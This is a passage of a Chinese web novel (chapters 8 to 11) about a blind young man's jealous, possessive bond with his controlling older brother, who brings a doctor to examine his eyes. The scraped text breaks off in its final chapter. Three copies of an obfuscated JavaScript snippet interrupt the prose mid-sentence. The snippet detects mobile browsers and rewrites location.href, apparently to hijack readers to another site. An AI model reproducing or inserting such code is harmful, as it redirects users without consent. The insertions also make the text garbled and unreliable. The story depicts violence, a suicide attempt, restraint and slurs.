我皱起眉头,虽然想让美美留下来,问问她这几年的生活怎么样,可人家有要紧事儿,我也不好耽误人家,便只能说:“好吧。” 路迟开口说:“你在这儿坐着吧,零食给我,我结完账就给美美先送去车站了。” “我也一起去啊。”我连忙说。 路迟却说:“你歇着,我跟美美有事要说。” “什么事儿我不能听?”我说:“你俩还有秘密?” “是妈的事,她特意交代我只能告诉美美。”路迟说完,我“哦”了一声,既然是妈交代的,那就没什么好说的了。 8. 第 8 章 我虽然没法目送美美离开,但也不愿意就这么直接一走了之,毕竟美美难得回来探望我一次,我总不能留给人家一抹稀里糊涂的背影。 于是我不顾路迟的要求,坚持要站在门口等着,直到路迟送完美美再回来。我听着路迟和美美的脚步声渐行渐远,就像旅人耳旁一闪而过的救援信号般再次消失。我的心情不自觉变得压抑了起来,但我清楚,我虽然舍不得美美,可这压抑的情绪其实来源于路迟那一次次的干涉。 路迟总是让我觉得,我的人生完全是由他来掌握的,如果只有我俩依偎在一起,我肯定喜欢这种感觉,可一旦有其他更鲜活的人闯进世界里,我就会开始怨恨路迟的过度掌控。 我知道我这种心理是扭曲的,可我控制不住。 我下意识咬紧嘴唇,等待着那两道脚步声彻底消失,静候周遭死寂的再次降临,可一道尖锐的汽车鸣笛声打断了我对脚步声的聆听。 我下意识捂住耳朵,后退了步。 “路桉宁。” 一个怀抱紧紧地罩了下来。 是美美跑回来了。 她死死抱住我,在我耳边低声说:“你要是不想待在这儿,随时去找我,我妈也想你了。” 这怀抱很快便松开了,美美走了。 但我知道美美也是舍不得我的,她这么早回去也是迫不得已,我的心情好了许多,嘴角也不自觉地勾起了笑容,这抹弧度一直维持到路迟回来。 他看见我脸上的笑容,莫名阴阳怪气地说了句:“她抱你一下你就开心成这样?路桉宁我该怎么说你好呢,容易满足的蠢货?” 我心情好,不跟他计较:“你懂什么,这是来自妹妹的爱,这也是她对我这个哥哥的认可。” 路迟冷笑了声,伸手抓住我的脖领,边带着我往家走,边说:“以后少跟她来往。” “为什么?”我立马停住脚步问。 路迟淡淡地说:“你眼睛瞎了看不见,我可看得一清二楚,她哪是关心你,分明是打从心眼里觉得你就是个可怜虫。” 我最讨厌被人说是可怜虫,路迟也知道,但这个词和美美有了关联后,我觉得可以忍一忍,哥哥不能和美美斤斤计较:“我确实是个可怜虫,她就算觉得我可怜又能怎么样?” 路迟不说话了。一进到家门,他抓着我的手也属便松开了,他抬高声音说:“什么时候来的?怎么没给我打电话?” 我知道这是又来了客人,干脆闭上嘴。 但这次回应的不是个女人,而是道我从未听过的男声。 “刚来,我看见你给我发的信息了,感觉你应该没多久就回来了,干脆就坐在这儿等着。” “等了多久?”路迟的脚步声快速远离,随后传来了茶具碰撞声,路迟准备沏茶。 路迟不爱喝茶,家里却备了茶叶,他跟我说是为了防止有大人物过来做客,所以提前备着。 大人物? 什么大人物能到我们这个连正是门店都没有的“按摩店”来?还有闲心喝上一口路迟沏出来的烂茶? 而且听着人的口气,应当和路迟还十分熟悉,可凡是路迟的熟人就没有我不认识的,现在怎么就突然冒出来个未知的某某了。 两人的交谈声还在继续,丝毫没有避讳我的存在。 “这边路不好开车,你没必要特意跑过来一趟。”路迟的声音带着笑意,我的心情变得有些微妙,一时竟站在原地,忘了回屋子里避人。 男人说:“好不容易有时间,就想着过来看看你,鸣丰也想跟我一起过来来着,但他临时有事被绊住了脚,只能我自己来了,你别嫌我麻烦就行。” 路迟说:“你哪麻烦,好伺候得很,你什么时候走?今晚在我这儿住吧,明天再走。” 我不自觉咬紧牙关。 伺候?住在这儿? 我忍无可忍地出声问:“哥,谁啊。” “你没见过。”路迟的话里说不出得敷衍,他随意地回了我一句:“他跟我同岁,你叫哥就成。” 哥? 我他妈这辈子只有一个哥。 我要是叫了他一声“哥”,这辈子都不会再搭理路迟了。 我也不清楚我到底是怎么了,心脏像是被人撒了把盐巴,快速脱水而剧烈皱缩着,仿佛随时会因严重脱水而四分五裂,酸麻麻的。 我咬了咬嘴唇,说:“是哪个叔叔婶婶家的哥哥吗?” 路迟却还在同那男人说话:“家里有张沙发床,晚上我跟我弟住那儿,你住卧室,方便点儿。” 那他妈是我的房间,是我的! 我几乎控制不住想要喊出声,路迟终于抽空搭理了我一下:“桉宝你先回房间待着,等会儿饿了叫我。” 他在赶杂种狗吗? 只要没饿死就不许烦他。 我扯扯唇角,却发现脸上的肌肉像是被人抹了层浆糊,皮肤扯着皮肤,酸痛无比,怎么都笑不出来。 路迟却没再理我了,他问那男人:“好久没见好像瘦了不少,也别太勉强自己,累垮了就得不偿失了。” 他贴心得像关怀丈夫的妻子。 我想撕烂他的嘴,让他别继续说这种话了。 可我不能。 我只是个废物弟弟,我根本不清楚这男人的真实身份以及能耐,或许他是某位终于做出成绩的老同学,回来只是单纯同路迟叙旧;或许他是路迟搭上的年轻客人,以后能经常来照顾生意,路迟会把从他身上赚来的钱都用到我身上;又或许他只是一个普通的男人,他无能、贫穷、对路迟和我都毫无帮助,可偏偏路迟对他青睐有加。 我控制不住我胡思乱想的脑子,它就像是脱离了基础代码控制的低等机器,随时可能因为过多的猜想而直接报废。 僵硬的神经直到感知到那男人将话题引到我身上时,才稍加缓和。 男人说:“你弟弟个子蛮高的,看起来比你说得要高。” 路迟还和他说过我。 我终于受不了了,直接问:“你是我哥的客人吗?来按摩还是来做虚伪交际的?” 周围的气氛瞬间凝固了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315042|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路迟冷下声音叫我:“路桉宁,你说什么呢?” 男人开始打圆场:“你弟弟回房间待着也是无聊,肯定想叫你陪着,是我没注意到。” 路迟深吸了口气,说:“他纯粹是没脑子。” 这无异于将我的衣服扒光后扔到人堆里羞辱。 我分快地往卧室的方向跑,很奇怪,按理来说这种速度我肯定会因判断不准确而撞到东西摔倒,可似乎老天爷也想让我逃离,我竟格外顺利地跑回了房间,用力将门摔上。 房梁似乎都在颤抖。 我躲进被子里,莫名想起美美的话。 其实我早就想逃出去了,短暂地逃离路迟的看管,真正地领会一回作为盲人的不便利,也真正体会一次,我到底废物成什么样。 可甚至不需要行动,我就知道我是天底下最废物的那一个,我没法联系美美,没法找到美美,没有路迟的帮助我就是和整个社会隔离开的稀罕物种。 憋屈郁闷的情绪让我失去平静,即便待在最温暖安全的被窝里,我也觉得像被关在了密不透风的玻璃牢笼内,我想出去,却没人愿意伸出手拉我一把。我等着路迟来跟我道歉,但当房门被推开时,我绷紧神经却只听见路迟说了句:“路桉宁,出来。” 他的声音不带任何情绪。 完全的命令。 我不想动,但他已经掀开了我的被子,原本控制着我全部情绪的理智也被一并掀了起来。我猛地坐起,大声喊道:“路迟,你怎么能那么说我,还是在一个我不认识的陌生人面前,你他妈要是想羞辱我就直接用绳子把我的脖子拴起来,吊到房梁上邀请所有人过来看,看我这个行尸走肉终于被吊死,大家终于可以光明正大地幸灾乐祸了!” 路迟抓住我的脸,我被迫转过脑袋,我迫切地想张开嘴去咬他的手,却无法挣脱开他桎梏的力道。 我胡乱地伸腿踹他。 一下,两下,三下,路迟抓住了我的脚踝,将我拖下去抱到了怀里。 我不管不顾地挣脱,结果一失手,清脆地巴掌就打到了路迟的脸上。 “啪!” 我不动了。 路迟说:“这回心里得劲儿了?” 这是我第一次扇路迟的巴掌,陌生而紧张的情况让我无所适从,我甚至不知道此刻该道歉的还是不是路迟。 我似乎成了过错方。 “见笑了。”路迟突然说。 我意识到那男人看见了全过程。 男人声音低缓道:“没什么,很多兄弟之间都是这么相处的,但你弟弟比别人要可爱。” 这男人是傻逼吗,莫名其妙夸我一句,难道他以为我会记他的好,然后跟路迟一起给他端茶倒水吗? 我他妈的叫路桉宁,我妈特意取的名字,音同“安宁”,却又特意挑了个带木字旁的“桉”字,希望我同扎根巨树般安稳平静,永不倒裂。所以我这辈子都不可能改名叫某某人的专属奴才。 偏偏路迟就吃他这套,笑着回了句:“我弟弟肯定和别人的弟弟不一样。” 9. 第 9 章 路迟这傻逼。 我讨厌路迟,他分明在这男人面前羞辱我,现在却又迎合他这句似是而非的话来夸我,不对,或许根本不是夸我,他说的我和别人不一样可能单纯是字面意思,别人的弟弟天真可爱、能看见东西,我蛮横不讲理,更是个脑残瞎子。 我现在已经想不到别的了,满脑子都是别人瞧不起我,路迟更瞧不起我,他说的照顾我都是假的,只是想更近距离地羞辱我,他说要送我去学校也是假的,只是厌烦我了,想试探一下我的想法。 我恨他。但路迟已经伸出手,把我抱到了他的怀里。 我不管不顾地说:“路迟你个傻逼,你放开我,我不想让你抱着,我也不要出去,这是我的房间、我的床!你要是想让别人住,你就拿到砍死我,像之前我爸说得那样,直接拿刀砍死我个不成器的废物。” 路迟没打我,他捂住了我的嘴。 我张牙舞爪地反抗,却没有任何用,路迟的力气比我大得多,只要他想,我就是个任人宰割的小羊羔,哪怕他哪天想吃生羊肉片了,我也只能傻愣愣地等着刀子割到我身上。 路迟把我扔到了沙发上。 我刚要跳起来,他的手就又落到了我身上,他直接把我的手别到了身后,用根不知从哪来的麻绳绑了起来。 我他妈哪是羊,就是个被送到屠宰点的猪。 路迟绑好我之后就不再碰我,他接着跟那男人说话:“他说这些话不是故意的,他有时候情绪上头总说些伤人的话,你别多想。” 他他妈的倒是贴心,还安慰那男人。 我哪句话骂那男人了吗?根本没有。 我算是看透了。 “路迟,你他妈就是个死基佬!怪不得你之前反应那么大,你根本就不喜欢女人对吧,你现在就用我来对一个男人献殷勤,路迟我□□爹,我他妈的要是眼睛好了,我还要草死你,路迟你就对老天爷祈祷吧,千万别让我好起来!” 我破口大骂,根本不管那男人看到这场面会有什么想法,笑话,他跟我有什么关系,我还要照顾他的情绪?他是给我钱了还是给我房子了? 他他妈有能耐就用钱堵住我的嘴,不然我就骂死他们这俩狼狈为奸的死基佬,草屁股的贱男人! 我接着骂:“路迟,他的屁股紧吗?你之前在厕所看片子的时候看得其实是俩男人互草的视频对吧,我他妈就知道你狗改不了吃屎,说是照顾我,我是为了你而瞎的眼睛,不忍心抛下我一个人,其实你就是想有朝一日把我送到哪个死男人手里,让他们随便玩弄对吧!路迟你他妈的就出门就被车…..” “啪。” 我被打得脸偏了过去。 “你有完没完?”路迟说:“路桉宁,你眼睛瞎了之后就自暴自弃到无所畏惧了是吧?” 男人像是看不下去了,他终于说了句话:“弟弟,我跟你哥…..不是那种关系。” 我听见他的声音似乎就在我眼前,直接朝着前方“呸”了一下,骂道:“你别在这儿说风凉话,刚才我进房间的时候你俩干什么了别以为我不知道!” “他是我给你找的医生。”路迟倏地说。 我脱口而出的脏话瞬间卡在喉咙里,不上不下,卡得我呼吸不顺即将窒息,随时都要死去。 我不信。 “路迟你骗人。”我底气不足,音量也变小了。 路迟的声音里充满失望,他一字一顿地说:“这是我给你找的医生,我排了两年的队,一直求爷爷告奶奶才联系上人家,上次我去市里就是为了见他,他这次过来是想看一下你的情况,还没确定要不要接手你的治疗,我不跟你说就是怕你太排斥,结果你现在…..路桉宁,我有时候都不知道你到底是想要眼睛还是继续瞎着。” 我像个被暂停了代码运行的机器人,忘记了怎么模仿人类的呼吸方式,整个身体都成了正在被钝锯反复拉扯的老木。 我搞砸了。 之前路迟就说过为我治疗眼睛,我当然不想当一辈子瞎子,但我也清楚让一个瞎子重新看见世界的代价有多大,哪怕路迟把身体剖开,把个个器官分开来卖,也没法真正、完全让我重新恢复原样,所以在察觉到他的意图时,我表现得极为抗拒,甚至摔坏了李婶送给我的纪念雕塑,只为了表明我根本不想治眼睛的想法。 我不想让路迟掏空一切、榨干自己来治疗我。 可路迟依旧背着我暗暗筹备一切,但我搞砸了。 这男人是怎么想的我不在乎,因为我也不觉得他真能治好我,无数人曾在我面前说过,我的眼睛是被扎伤的,险些被剜掉,我见过金鱼的眼睛,诡异地向外凸起,像块随时会脱落的水晶球,无比可怖,我曾经看见过别人养的金鱼。 那人把金鱼带到学校去炫耀,他把金鱼的眼睛剜下去了,因为他说金鱼失去了眼睛的样子就像是在身上添了个黝黑的洞穴,神秘得很,也更酷。 可在我看来,那样子的金鱼依旧吓人,只不过当初的我为了装酷只匆匆瞥了一眼,就快速双手插着兜转身,说一般。 我不敢想我和那金鱼类似的模样。 更不敢想路迟日日面对着这样的我是什么想法,那段日子我每天入睡前都会惊恐地摸着自己的眼睛,确定上面还有块覆盖的眼皮,且有眼球存在的弧度才放心的入睡。 我不想变成丑八怪。 可那些人的话还是像毒刺一样扎到我的背脊中,让我日夜饱受折磨。 我的眼睛不好治,我既然为路迟挡了那一下,就不能再让他为了治我而毁了自己。 我们是兄弟,总得有一个人活着吧。 总不能全都变成行尸走肉。 我失去了□□的部分使用权,总不能因为治疗我的眼睛,因为钱,而让路迟也失去社会的融入权。 钱就是生活在社会中的门票,这是我爹告诉我的,我一直都记着,这辈子都不会忘。 可现在,路迟又一次主动放弃了社会的融入权,事不过三的道理我懂,不会再有下一次了,我又一次辜负了路迟的好意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315043|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我条件反射地止了呼吸,窒息的反应让我的身体开始颤抖,那个男人开始掐我的鼻子,很奇怪,为什么现在我才闻到这男人身上的木质调香水味呢,是因为刚才我的注意力全都在路迟的身上吗。 路迟就是我的全世界,这是事实。 只有在确认路迟不会离开我的时候,我才会抽出注意力去探索其他的小世界。 男人掐着我的人中,我被迫恢复全部神志,不得不适应身体颤抖的幅度。 良久,我才伸出手去摸索,我想抓住路迟的手,却只抓住了另一双更纤细光滑的手掌,如果没有我,没有我爹,路迟也应该有这么一双手的。 我反复深呼吸,才咬紧牙关挤出来句:“路迟。” “你弟弟在找你。”男人抓着我的手,把我送到路迟手上,或许路迟方才一直站在旁边站着,他被气得想要直接扔掉我,可男人却再次把我送到了他身边。 我摸着路迟粗糙的手掌,把脸埋在他手心,轻轻地抽噎着道歉:“哥对不起,我不是故意的。” 我和路迟的关系是扭曲的。 我们是兄弟,又是债主与讨债者的关系,除此之外,或许还有别的,但我脑子不好、知识有限,非要我说我也说不出,只能等路迟哪天良心发现亲自来教我。 我盼着路迟好,又盼着他永远活在水深火热中,因为只有这样他才不会牵着别人的手和别人跑。 我骂他基佬也只是怕他和这个男人跑了。 路迟没动,我知道他在生气,又不想像我一样说太难听的话,只能这么沉默。我也不知道我还能说什么了,只能继续哭。 那男人说:”不要让他哭太多,对眼睛不好。” 路迟这才抹了抹我的眼泪,他的指腹压着我的皮肤,很粗糙,磨得我疼。 路迟在外人面前更是不知道该如何表现情绪,我知道他不会说什么了,抽噎了会儿就停了。 男人也在此刻伸出手,他用手掌托住我的下巴,像举起一件工艺还算不错的展览品,我猜他应该正在仔细地观察我脸上的每个细微之处,我想躲,理智又告诉我不要这样。 他是医生,我该顺从。 不知过了几分钟,男人才说:“你弟弟年纪小,而且受伤时间不算太长,细胞情况不会太糟糕。” 这话像是段闪烁的微光,路迟瞬间忘了我骂他时的不愉快,顺势问:“所以他这种情况可以通过手术来治疗吧。” “…..也不好说。”男人说:“还是得让鸣丰亲自看一下,我只能先给他做初步检查,之后还要等一等,等鸣丰有时间。” 男人的手扒开了我的眼皮。 我的眼睛一定很丑,我甚至不敢想象,我几乎不受控制地想躲,可脸刚扭转些角度,就被另一双大手掰了回来。 路迟低沉着声音说:“别动。” 我瘪着嘴,半分钟后没忍住说:“哥,那你别看,丑。” 男人笑了。 路迟好像也笑了,我没听清。 10. 第 10 章 男人给我检查了一通,又把路迟拉到一旁说话,我觉得我眼睛的情况应当不大乐观,否则他早就在我面前直接交代了。他俩走远后,我竖起耳朵想偷听些字眼,但两人声音压得实在太低,我只能听见两道模模糊糊又低沉的声音像无线广播般一阵有一阵无地交织响起。 男人走后,我立马扯住路迟的袖口,直奔主题道:“我的眼睛能治好吗?” 路迟的手掌贴住我的额头,把我的脑袋往后摁,我只能顺着他的力道扬起头颅,路迟凑近了些,温热的呼吸洒在我的脸上,我刚想嘟囔句“痒”,就感觉他的手指压到了我的眼皮上,似乎想看我的眼睛,我连忙别开脸。 路迟强硬地掰回我的脑袋。 “别动,我看看。”路迟说。 我瘪瘪嘴巴,说:“你还没回答我的问题呢,其实根本治不好是不是。” 路迟的手掌滚烫,我脑袋里的神经就像被诱饵吸引的小蛇,不断像他掌心的位置靠近,将全部感知都系在那双大掌上。我记得高中生物老师说过,神经是白色或淡黄色的,可每当我想象时,总会下意识地将神经绘制成鲜红色,和血肉一样的颜色。 我不受控制地想象,无数根鲜红的神经从我的皮肉之下钻出,狰狞地勾结到路迟的手指上,神经末端甚至还贪婪缱绻地蹭动着路迟的皮肤,想要直接钻进去。 红色的神经将我和他连接起来,就像木偶与主人间由红线连接起来。路迟手指随意抖动的弧度都将牵引我的整个身躯,让我像个浮萍般随之漂浮。 就让这红线将我和他拴在一起吧。 我不想要健全的眼睛、清晰的世界,我只要这根红线另一端伟岸的身影。 “治得好。”路迟的手掌下挪,托住我的侧颈,他俯下身子,干涩的嘴唇印在了我的眼皮上,那一瞬间,我甚至感觉到我常年死气灰败的眼睛转动了下,它努力地回应着路迟的吻,脱离了我这个废物主人的掌控。 路迟又说:“下次骂人只能在没有别人在场的时候,那样你怎么骂都可以,哪怕你动手打哥,哥也哄你,因为哥知道你本意不是这样,但要让别人看去了,他们可能会在背后笑话你,说你是个不讲理的小坏蛋。” “这话一点儿攻击力都没有,他们爱骂就骂吧,我骂人比他们难听多了,他们受得住就行。”我撅着嘴说。 路迟直接伸手用两根手指头夹住我的嘴唇,像用筷子夹面条似的,但他没怎么用力,我几乎毫不费力就挣脱开了,甚至调皮地伸出舌头舔了他的指尖一下。 就说过黏腻腻的,他肯定不舒服。 我这么想着,谁知下一秒,路迟的手指头就伸进来了,他的大拇指压着我的唇瓣,食指和中指粗糙地摁到了我的舌头上,肆意侵略着我口腔的空间。 路迟说:“桉宝,虽说有个好嘴巴能免去不少憋屈,但你有时候说的话实在太欠揍,我刚才都想把你的舌头栓到我手指头上,我不松手你就不能讲话,这样乖乖的一辈子。” 我用舌头抵住他的手指头,想把口腔内的异物推出去,但我的舌头越用力,路迟的手指下压得就越厉害,完全是不容置喙的力道,不许我排斥他的存在。 以前我总咬路迟的手指,有时候半夜睡的不踏实,还会像吮吸奶嘴的婴儿般将他的手指含进嘴里,可每次都是我主动的,这还是路迟第一次主动用他的手指接触我的舌头、口腔,接触我身体的“内部”。 我挣脱不开,只能任由他继续保持这种姿势,口齿含糊地说:“把我的舌头栓起来,那我不就像只狗似的,只能吐着舌头对你求饶,路迟,你真是恶趣味满满。” 路迟愉悦地笑了,他的手指开始小幅度摩挲,将我因吐字而微微卷起的舌尖重新摁平,像奖励一只想要亲近主人的狗一般,不紧不慢地说:“这样的你才能乖乖的。” 我莫名打了个哆嗦,因为有一瞬间,我觉得路迟真能做出来这种事。毕竟路迟从小就是个变态。 在其他小孩还幼稚无聊得整日沉迷于八点钟的动画片时,路迟已经靠帮同学写作业赚到了独属于自己的小金库,我原本以为他要拿着那些钱去买零食吃,结果路迟攥着这笔钱去了县城里最大的那家书店,并在晚上带回家了一本纯黑色封皮的书。 我偷溜进他的房间,准备拿着罪证去跟我妈告状,因为在我的印象里,凡是这样偷偷摸摸用自己赚的钱去买回来的书,绝对是龌龊肮脏的小黄书。可当我趁着路迟被我爹叫出去买酒的空隙,轻手轻脚地翻动他房间内的书籍时,却发现那本书并不是我所想象的小黄书,而是一本名为《凶杀案剖析》的惊悚书籍。 我颤颤巍巍地翻开那本书,血腥直白的凶杀现场照片立马闯入我的视野,被切割成块的血肉,无法顺利连接的四肢,甚至连只用一层极简单的特效模糊过的头颅照片都出现在了这本书里。我的血液瞬间凝固,浑身冷得像被人抛尸在腊月寒冬。 我脑袋嗡得一下,那本书直接砸在脚边,我甚至来不及恢复现场,就立马捧着肚子干呕了起来,似走似拖地逃出了路迟的卧室。 从那之后,路迟冷漠的视线变得像凶手手中锐利的剁骨刀,我不敢直视,也不敢逼问,连做了几天噩梦。 最后,还是路迟主动来找我。 他和我一起站在家后院的黑暗角落里,我怕他把我杀了后直接抛尸,哆哆嗦嗦地想跑,又不知道该找什么借口,路迟就双手插兜挡在我面前,看着我那鳖孙样儿,没控制住笑出了声。 我特别不爽,但人在屋檐下不得不低头,只能尽量往后缩。 后来路迟告诉我,他想当医生,但医学书籍太贵,而且上面的内容太过抽象,对人体组织的描述总是让人无法理解透彻,他只能想办法找些照片来辅佐,可思来想去,似乎只有这种照片上才能看到最真实的人体。 我不知道我该不该信,但我一扭头,就看见路迟抬头望向天空的眼睛,那是我第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315044|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次发现他的眼睛居然如此明亮。小县城的天空的遥远的模糊的,很难捕捉到星星的痕迹,可那时候我想,或许我看见的不是路迟的眼睛,而是星星的倒影。 可这件事还是深埋在我心底。 有时候我甚至在想,路迟看那些书或许不是因为他想成为医生,而是想从中学习些见不得人的东西,有朝一日亲自实践,解决了我爹那个畜生。 但后来路迟高三拟报志愿,我看了他的志愿报告,里面写的都是医学专业为主的大学,我的疑虑彻底打消。可路迟能看得下那些血腥照片,已经能证明他不是个普通人了。 他就是天生的变态。 但我知道现在的路迟不会对我痛下杀手,所以我不怕他。 “我可不想像个狗一样。”我猛地咬住路迟的手指,原本想用疼痛逼他抽回手指,可直到我的口腔内蔓延起一阵铁锈味,他都没有丝毫行动。 我只能先退让,张开嘴巴,避免牙齿再磕碰到他手指上的伤口,这也导致随着我每次吐字,口水都摇摇欲坠,像是随时会从口腔涌到下巴。 “你不要这样弄我,我不舒服。”我皱着眉头说:“我咬你你都没感觉的吗,像个傻子一样。” “有,但不多。”路迟说:“你打我巴掌的时候最疼。” 他终于抽出手指,我明显感觉到涎水被拉扯着勾到我的唇瓣上,我还没来得及抬手去擦,路迟的指腹就重重蹭过,替我擦干净了。 我知道他这是要秋后算账了,不由得叹口气,说:“路迟你可是哥哥,能不能大度一点儿,就像我对美美那样?” “你对美美那样?”路迟轻笑了声,就在我以为他要退让时,他却淡淡地扔出来两个字:“不能。” 我“切”了一声,说:“小心眼的男人。” “以后你就懂了。”路迟把我抱起来,让我坐到他怀里,我顺势把下巴搭到他的肩膀上,右手摸索到他嘴唇的位置,想学着他的方式把手指伸进去,可路迟这可恨的家伙根本不打开牙关,我挤都挤不进去。 路迟亲了亲我的指腹,说:“我要是扇你巴掌,你现在早就恨不得把我掐死了。” “其实你也想掐死我吧。”我呵呵一笑,说:“不过你比较会装,放心,我晚上要是感觉喘不上气,绝对当成是我感冒了鼻子不通气,不会觉得是你想用枕头捂死我的。” 路迟说:“怎么会,哥疼你还来不及。” “哪种疼?皮带抽屁股那种?”我反问。 路迟不说话了。 我知道这变态绝对是想了。 小县城的孩子不知道字母游戏是什么,只知道路迟是个变态虐待狂,不对,他绝对是屁股狂魔,就爱听揍屁股的声音。 我没忍住说出来了:“你是屁股狂魔吧。” 路迟伸手不重不轻地打了下我的屁股,说:“别把我说得像变态一样。” 我毫不留情地吐槽:“你就是。” 11. 第 11 章 我的眼睛是被人揍瞎的,那人在半夜黑灯瞎火、大家都睡熟的时候摸到我家里来,我当时刚偷摸看完从同学那儿借来的漫画书,准备睡觉,结果意识刚像溺水的鸭子似得坠下去,就被猛得一声“啪”给吓得重新扑腾起翅膀。 心脏扑通扑通得跳,完全是把我给撞醒的,我像个从棺材里苏醒的老僵尸,笔直笔直地从床上猛地坐起来,还没等我反应过来,就听见一阵又一阵的砸打声,噼里啪啦的声响像雨夜的雷霆,劈得我脸色煞白,疯了似得往外跑。 我原本以为是我爹喝多了又要和我妈干仗,毕竟他以前就总操着从饭店里揣回来的空酒瓶,一推开家门就开始用玻璃瓶到处乱挥,嘴里还胡乱嚷嚷着:“都他妈的是死人,老子回来了没一个知道来问一嘴我饿不饿的。” 我妈以前天天问他,他嫌我妈黏牙,说别人家的媳妇都不像我妈似的东管西管,后来我妈不问了,他又开始整这傻逼样儿。 我以为这次也是。 可等我出去,就看见倒背影压着路迟打,高扬的拳头隐藏在黑暗中,我还是一眼就捕捉到那抹影子,因为我的眼睛特别好使,要不我也不可能天天不学无术,还偶尔考个中下游的“好成绩”来哄我妈开心。 我能有那好成绩全靠这双好眼睛来到处偷瞟,要我说,学校里那不知道安了多少年的清朝画质监控都没我的眼睛好用。 我怎么可能眼睁睁地看着路迟被人打,尤其是路迟他躺在地上像死了似的,连反抗都不知道,我以为他是还没睡醒就被人从被窝里拖出来了,立马撸起袖子往过跑,边跑边喊:“傻逼你他妈打路迟干什么。” 我以为压着路迟打的是我爹,但等我过去,双手掐住那人的脖子猛地往后一拽,脚也利落地往他腰上一踹,就发现不是。 我爹的身板没这么瘦,也没这么脆,我明显听见当我的脚踹过去时,他身上的骨头嘎吱了一声。 我把他拖着扔到了地上,之后做了个我这辈子最后悔的决定,像无数恐怖电影里的脑残主角一样,没补刀。我把他扔在那儿就不管了,着急忙慌地跑过去想把路迟扶起来,等走近了,我才发现,路迟鼻青脸肿的,嘴角都被打裂开了,鲜红的血液刺激着我的眼睛,我的心脏骤停一瞬,几乎想扭过头把那人的嘴给撕开,可路迟已经被打得连眼睛都睁不开了。 他要是接着躺在那儿,谁要是一时没看见踩他一脚,他就完了。我弯下腰想给他抱起来,但我手刚伸过去,就被人从后面薅住了头发。 “小畜生给我过来。”那人骂。 他开始打我,一拳一拳朝着我的脸砸。 我被他砸到地上,脑袋撞得直嗡嗡响,像个被迫和世界切断连接的机器人,怎么都无法恢复正常运转,更别提干脆利落地躲开他不断砸过来的拳头。 我不知道我被揍了多久,只知道我的视野变得模糊起来,就在我以为我要被活活打死的时候,路迟拿着木头板凳直接砸到了那人脑袋上。 板凳直接被砸碎了,木屑像漫天飞雪,侵占了我剩余的小部分视野。 男人的注意力重新回到路迟身上,他骂骂咧咧地摇晃着身体,弯腰从地上捡起木椅碎裂下来的木头板,用最尖锐的那一角往路迟身上砸。 我连滚带爬地起身,死死抓住他的衣角,不断咒骂,即便从额头上淌下来的血液已经流进了眼睛里,视野变成骇人的血红色,我也根本不敢松开抓着他的手。 我怕路迟被他打死。可他一反手,木板直接照着我的脑袋砸过来。 我彻底被砸懵了,直挺挺地倒到了地上,世界也变成了死寂一片,眼前的光影不断变化,我能感觉到是有人在动,却无论如何都没法分辨出真正的局势。 等我再次爬起来时,那人手里拿着啤酒瓶往路迟脑袋上砸,我想都没想,直接就扑过去了。 我走路总是慢悠悠的,在学校里跑步排名也总是倒数,因为我不愿意在这种没啥意义的事情上花费过多精力,跑第一了又能怎样,班主任也不会夸我,只会说我学习不好是因为把心思放到了不该放的事情上,我妈知道我跑步得第一还得紧张兮兮地抓着我问累不累。 但跑向路迟那次,是我这辈子速度最快的一次,这不是跑步比赛,没有夸赞嘉奖,没有排名奖品,只有“啪”得一声,世界彻底变成黑色。 从那之后,我就变成了瞎子。 我猜是玻璃渣扎进了我眼睛里,当然只是我猜的,毕竟路迟不愿意告诉我,我醒来之后我妈就见过我一面,她还摸着我的脸一直哭。 从小到大,我只见我妈哭过两次,一次是我姥去世,还有一次就是我变成瞎子。不对,准确地说,第二次我根本没看见,我听见了、摸到了、也感受到了。 原来眼泪就像生锈的斧头,你感受到它却无法触摸到它时,就会因未知而战栗颤抖,生怕迎来更痛苦的凌迟,可无论你怎么恐惧,你最终感知到的疼痛都比你预想中的要更加猛烈、更加难以接受。 我不想让我妈哭,我觉得我是她悲伤的源头,作为一个曾拥有完美视力的“健全人”,瞎了眼睛几乎就等同于毁了我的半边天,压着我的脊背逼着我往下跪,被迫过上我曾经无论如何都无法想象的屈辱人生。 我觉得只要见不到我,我妈就不会哭了。 我记得护士因为我说房间闷,把窗户给打开了,我感受着风飘过来的方向,几乎抱着必死的决心,想要从窗户跳出去。 但我没死成。 我爹在,他冷眼旁观,从进到病房开始只说了句干巴巴的“疼不疼啊乖儿子”,废话,我当然疼。后来还是路迟把我抓回去,摁到了病床上,告诉我“老实点儿路桉宁”。 那时候听着我妈的哭声,摸着她脸上的湿润温度,我以为就算我自己不寻死,也要像我姥一样躺进棺材里,再也见不到我妈了,可事实上,我安然无恙地出院了,却也再没见过我妈。 